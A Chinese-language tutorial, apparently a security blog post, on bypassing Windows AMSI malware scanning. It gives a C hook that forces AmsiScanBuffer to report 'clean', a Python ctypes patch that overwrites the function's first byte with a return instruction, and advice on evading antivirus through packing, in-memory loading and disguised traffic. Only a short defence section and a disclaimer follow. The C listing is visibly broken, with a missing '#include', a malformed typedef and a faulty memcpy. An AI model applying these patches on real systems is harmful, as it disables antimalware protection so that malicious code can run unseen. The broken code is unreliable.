0x01 攻击之门:AMSI绕过前奏

在Windows的安全防护体系中,AMSI (Antimalware Scan Interface) 扮演着一个不可或缺的角色。它作为应用程序与反恶意软件解决方案之间的桥梁,能够实时检测和拦截恶意脚本。然而,正因为它的广泛应用和强大能力,AMSI绕过成为红队或攻击者在对目标进行攻击过程中需要解决的重要议题之一。
攻击原理与漏洞成因
AMSI的设计初衷是通过拦截脚本执行的方式来检测恶意行为。常见的脚本语言如PowerShell、JavaScript等,都会通过AMSI进行安全检查。然而,AMSI本身是以COM接口形式提供的,这样的设计在防御上提供了便利,却也成为了攻击者可以利用的突破口。
攻击者可以通过以下几种主要方式完成AMSI绕过:
- 修改AMSI返回值: 通过直接操控AMSI的返回值,使得AMSI永远返回“未检测到威胁”的结果。
- 内存修改: 通过修改特定的内存地址,直接禁用AMSI的功能。
- 劫持接口: 通过劫持或替换AMSI相关的COM接口,达到绕过的目的。
0x02 环境搭建:攻防一体的实验室
在进行AMSI绕过的研究时,搭建一个类似于真实环境的实验室是至关重要的。以下是推荐的环境配置:
实验环境要求
- 虚拟机: 使用VirtualBox或VMware等虚拟机软件,安装Windows 10操作系统。确保系统带有最新的安全补丁。
- 开发工具: 安装Visual Studio用于C语言开发,Python环境用于编写和运行脚本。
- 反编译工具: 推荐使用IDA Pro或Ghidra进行逆向分析。
- 调试工具: 使用x64dbg或OllyDbg进行动态调试和内存分析。
环境配置步骤
- 系统准备: 在虚拟机中安装Windows 10,确保开启Windows Defender和AMSI。
- 开发环境: 安装Python3和Visual Studio,确保C编译器可以正常工作。
- 工具安装: 下载并安装IDA Pro、x64dbg等工具,确保可以对目标程序进行逆向和调试。
通过这样一个配置,实验室已经为AMSI绕过的研究做好了万全的准备。
0x03 Payload构造的艺术:AMSI绕过技术
在具体实现AMSI绕过的过程中,我们将从修改返回值、内存劫持,以及接口替换三个方面进行详细探讨。每一种方法都有其独特的实现路径和技术细节。
修改AMSI返回值
修改AMSI返回值是最直接的一种绕过方式。通过分析AMSI.DLL,我们可以定位到其返回值的位置,并进行简单的篡改。
<pre><code class="language-c">#include <windows.h>
include <stdio.h>
typedef HRESULT(WINAPI tAmsiScanBuffer)( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT result);
HRESULT WINAPI HookedAmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) {
// 强行将结果改为干净 *result = AMSI_RESULT_CLEAN; return S_OK; }
void PatchAmsi() { HMODULE hAmsi = GetModuleHandle(L"amsi.dll"); if (hAmsi) { tAmsiScanBuffer pAmsiScanBuffer = (tAmsiScanBuffer)GetProcAddress(hAmsi, "AmsiScanBuffer"); if (pAmsiScanBuffer) { DWORD oldProtect; VirtualProtect(pAmsiScanBuffer, sizeof(pAmsiScanBuffer), PAGE_EXECUTE_READWRITE, &oldProtect); memcpy(pAmsiScanBuffer, HookedAmsiScanBuffer, sizeof(pAmsiScanBuffer)); VirtualProtect(pAmsiScanBuffer, sizeof(pAmsiScanBuffer), oldProtect, &oldProtect); } } }
int main() { PatchAmsi(); printf("AMSI bypassed!\n"); return 0; }</code></pre>
内存劫持
内存劫持是一种较为复杂但非常有效的绕过方式。我们通过调试工具分析AMSI的内存运行状态,找出关键函数的位置,通过直接修改内存来达到绕过的目的。
<pre><code class="language-python">import ctypes
def patch_amsi(): amsi_dll = ctypes.WinDLL("amsi.dll") amsi_func = amsi_dll.AmsiScanBuffer addr = ctypes.cast(amsi_func, ctypes.c_void_p).value
定位地址后进行内存修改
ctypes.windll.kernel32.VirtualProtect(ctypes.c_void_p(addr), ctypes.c_size_t(1), 0x40, ctypes.byref(ctypes.c_ulong())) ctypes.memmove(addr, b"\xC3", 1) # 用返回指令替换第一字节 ctypes.windll.kernel32.VirtualProtect(ctypes.c_void_p(addr), ctypes.c_size_t(1), 0x20, ctypes.byref(ctypes.c_ulong()))
if __name__ == "__main__": patch_amsi() print("AMSI bypassed in memory!")</code></pre>
接口劫持
接口劫持需要一定的COM编程知识,我们可以通过创建自定义COM对象来替换AMSI的接口,达到欺骗检测的目的。
0x04 免杀策略:让检测无从下手
在设计Payload的过程中,免杀策略是我们需要重点考虑的部分。以下是几种常见的免杀策略:

加壳与混淆
通过使用不同的加壳工具和代码混淆技术,可以有效地减少被检测的可能性。常用的工具如UPX、VMProtect等。

内存加载
使用内存加载技术,将恶意代码直接加载到内存中执行,而不在磁盘上留下痕迹。
流量伪装
在进行网络通信时,通过使用SSL/TLS加密,或自定义协议来掩盖恶意流量。
0x05 检测与防御:让攻击无处遁形
在防御侧,应及时更新和强化AMSI的检测能力。以下是一些有效的策略:
实时监控
通过实时监控内存和网络流量,可以第一时间发现异常行为。
强化政策
增加脚本执行策略的严格性,如限制PowerShell的执行权限。

行为分析
通过行为分析来检测和阻止可疑活动,即使攻击者成功绕过了AMSI。
0x06 攻击者的心路历程与经验分享
在进行AMSI绕过的过程,我深刻体会到,攻防对抗就像是一场猫鼠游戏。作为攻击者,我们总是试图找到系统设计中的漏洞,而防御者则不断加强系统的健壮性。
同时,绕过技术不应仅仅被视为一种攻击手段,它也为我们提供了深入了解系统安全机制的机会。只有在掌握了攻击的真谛之后,才能设计出更好的防御策略。
请记住,本教程仅供安全研究目的,切勿用于非法用途。通过不断的学习和实践,我们可以更好地保护系统的安全。